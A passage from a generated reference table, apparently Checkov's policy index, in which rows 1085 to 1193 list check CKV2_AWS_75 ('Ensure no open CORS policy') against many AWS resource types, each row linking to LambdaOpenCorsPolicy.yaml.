[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1085 | CKV2_AWS_75 | resource | aws_msk_serverless_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1086 | CKV2_AWS_75 | resource | aws_msk_single_scram_secret_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1087 | CKV2_AWS_75 | resource | aws_msk_vpc_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1088 | CKV2_AWS_75 | resource | aws_mskconnect_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1089 | CKV2_AWS_75 | resource | aws_mskconnect_custom_plugin | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1090 | CKV2_AWS_75 | resource | aws_mskconnect_worker_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1091 | CKV2_AWS_75 | resource | aws_mwaa_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1092 | CKV2_AWS_75 | resource | aws_nat_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1093 | CKV2_AWS_75 | resource | aws_neptune_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1094 | CKV2_AWS_75 | resource | aws_neptune_cluster_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1095 | CKV2_AWS_75 | resource | aws_neptune_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1096 | CKV2_AWS_75 | resource | aws_neptune_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1097 | CKV2_AWS_75 | resource | aws_neptune_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1098 | CKV2_AWS_75 | resource | aws_neptune_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1099 | CKV2_AWS_75 | resource | aws_neptune_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1100 | CKV2_AWS_75 | resource | aws_neptune_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1101 | CKV2_AWS_75 | resource | aws_neptune_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1102 | CKV2_AWS_75 | resource | aws_network_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1103 | CKV2_AWS_75 | resource | aws_network_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1104 | CKV2_AWS_75 | resource | aws_network_acl_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1105 | CKV2_AWS_75 | resource | aws_network_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1106 | CKV2_AWS_75 | resource | aws_network_interface_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1107 | CKV2_AWS_75 | resource | aws_network_interface_sg_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1108 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1109 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1110 | CKV2_AWS_75 | resource | aws_networkfirewall_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1111 | CKV2_AWS_75 | resource | aws_networkfirewall_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1112 | CKV2_AWS_75 | resource | aws_networkfirewall_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1113 | CKV2_AWS_75 | resource | aws_networkfirewall_tls_inspection_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1114 | CKV2_AWS_75 | resource | aws_networkmanager_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1115 | CKV2_AWS_75 | resource | aws_networkmanager_connect_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1116 | CKV2_AWS_75 | resource | aws_networkmanager_connect_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1117 | CKV2_AWS_75 | resource | aws_networkmanager_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1118 | CKV2_AWS_75 | resource | aws_networkmanager_core_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1119 | CKV2_AWS_75 | resource | aws_networkmanager_core_network_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1120 | CKV2_AWS_75 | resource | aws_networkmanager_customer_gateway_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1121 | CKV2_AWS_75 | resource | aws_networkmanager_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1122 | CKV2_AWS_75 | resource | aws_networkmanager_dx_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1123 | CKV2_AWS_75 | resource | aws_networkmanager_global_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1124 | CKV2_AWS_75 | resource | aws_networkmanager_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1125 | CKV2_AWS_75 | resource | aws_networkmanager_link_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1126 | CKV2_AWS_75 | resource | aws_networkmanager_site | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1127 | CKV2_AWS_75 | resource | aws_networkmanager_site_to_site_vpn_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1128 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_connect_peer_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1129 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_peering | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1130 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1131 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_route_table_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1132 | CKV2_AWS_75 | resource | aws_networkmanager_vpc_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1133 | CKV2_AWS_75 | resource | aws_networkmonitor_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1134 | CKV2_AWS_75 | resource | aws_networkmonitor_probe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1135 | CKV2_AWS_75 | resource | aws_oam_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1136 | CKV2_AWS_75 | resource | aws_oam_sink | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1137 | CKV2_AWS_75 | resource | aws_oam_sink_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1138 | CKV2_AWS_75 | resource | aws_opensearch_authorize_vpc_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1139 | CKV2_AWS_75 | resource | aws_opensearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1140 | CKV2_AWS_75 | resource | aws_opensearch_domain_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1141 | CKV2_AWS_75 | resource | aws_opensearch_domain_saml_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1142 | CKV2_AWS_75 | resource | aws_opensearch_inbound_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1143 | CKV2_AWS_75 | resource | aws_opensearch_outbound_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1144 | CKV2_AWS_75 | resource | aws_opensearch_package | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1145 | CKV2_AWS_75 | resource | aws_opensearch_package_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1146 | CKV2_AWS_75 | resource | aws_opensearch_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1147 | CKV2_AWS_75 | resource | aws_opensearchserverless_access_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1148 | CKV2_AWS_75 | resource | aws_opensearchserverless_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1149 | CKV2_AWS_75 | resource | aws_opensearchserverless_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1150 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1151 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1152 | CKV2_AWS_75 | resource | aws_opensearchserverless_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1153 | CKV2_AWS_75 | resource | aws_opsworks_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1154 | CKV2_AWS_75 | resource | aws_opsworks_custom_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1155 | CKV2_AWS_75 | resource | aws_opsworks_ecs_cluster_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1156 | CKV2_AWS_75 | resource | aws_opsworks_ganglia_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1157 | CKV2_AWS_75 | resource | aws_opsworks_haproxy_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1158 | CKV2_AWS_75 | resource | aws_opsworks_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1159 | CKV2_AWS_75 | resource | aws_opsworks_java_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1160 | CKV2_AWS_75 | resource | aws_opsworks_memcached_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1161 | CKV2_AWS_75 | resource | aws_opsworks_mysql_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1162 | CKV2_AWS_75 | resource | aws_opsworks_nodejs_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1163 | CKV2_AWS_75 | resource | aws_opsworks_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1164 | CKV2_AWS_75 | resource | aws_opsworks_php_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1165 | CKV2_AWS_75 | resource | aws_opsworks_rails_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1166 | CKV2_AWS_75 | resource | aws_opsworks_rds_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1167 | CKV2_AWS_75 | resource | aws_opsworks_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1168 | CKV2_AWS_75 | resource | aws_opsworks_static_web_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1169 | CKV2_AWS_75 | resource | aws_opsworks_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1170 | CKV2_AWS_75 | resource | aws_organizations_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1171 | CKV2_AWS_75 | resource | aws_organizations_delegated_administrator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1172 | CKV2_AWS_75 | resource | aws_organizations_organization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1173 | CKV2_AWS_75 | resource | aws_organizations_organizational_unit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1174 | CKV2_AWS_75 | resource | aws_organizations_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1175 | CKV2_AWS_75 | resource | aws_organizations_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1176 | CKV2_AWS_75 | resource | aws_organizations_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1177 | CKV2_AWS_75 | resource | aws_osis_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1178 | CKV2_AWS_75 | resource | aws_paymentcryptography_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1179 | CKV2_AWS_75 | resource | aws_paymentcryptography_key_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1180 | CKV2_AWS_75 | resource | aws_pinpoint_adm_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1181 | CKV2_AWS_75 | resource | aws_pinpoint_apns_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1182 | CKV2_AWS_75 | resource | aws_pinpoint_apns_sandbox_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1183 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1184 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_sandbox_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1185 | CKV2_AWS_75 | resource | aws_pinpoint_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1186 | CKV2_AWS_75 | resource | aws_pinpoint_baidu_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1187 | CKV2_AWS_75 | resource | aws_pinpoint_email_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1188 | CKV2_AWS_75 | resource | aws_pinpoint_email_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1189 | CKV2_AWS_75 | resource | aws_pinpoint_event_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1190 | CKV2_AWS_75 | resource | aws_pinpoint_gcm_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1191 | CKV2_AWS_75 | resource | aws_pinpoint_sms_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1192 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1193 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_opt_out_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1194 